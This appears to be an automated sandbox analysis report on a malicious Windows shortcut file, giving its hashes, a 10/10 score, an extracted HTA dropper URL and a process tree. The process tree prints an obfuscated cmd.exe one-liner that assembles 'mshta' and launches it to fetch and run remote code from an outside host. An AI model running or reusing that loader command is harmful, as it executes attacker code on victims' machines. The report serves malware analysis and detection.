Analysis

  • max time kernel
    60s
  • max time network
    50s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 20:16

General

  • Target
    DOC-G7CZR6.lnk
  • Size 1KB
  • Sample260821-y2lpdsdb96
  • SHA256 d9b0b1bb4d556bc2c14bda596dd1911d06cd94e732537cf59592a1e16b1b9a45
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://geo-pdfiler.lat/h/estagio1.php?r=331061

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G7CZR6.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /C "set lxC=msh&&set cQpYj=ta&&start "" !lxC!!cQpYj! https://geo-pdfiler.lat/h/estagio1.php?r=331061"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\System32\mshta.exe
        mshta https://geo-pdfiler.lat/h/estagio1.php?r=331061
        3⤵
          PID:3148

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads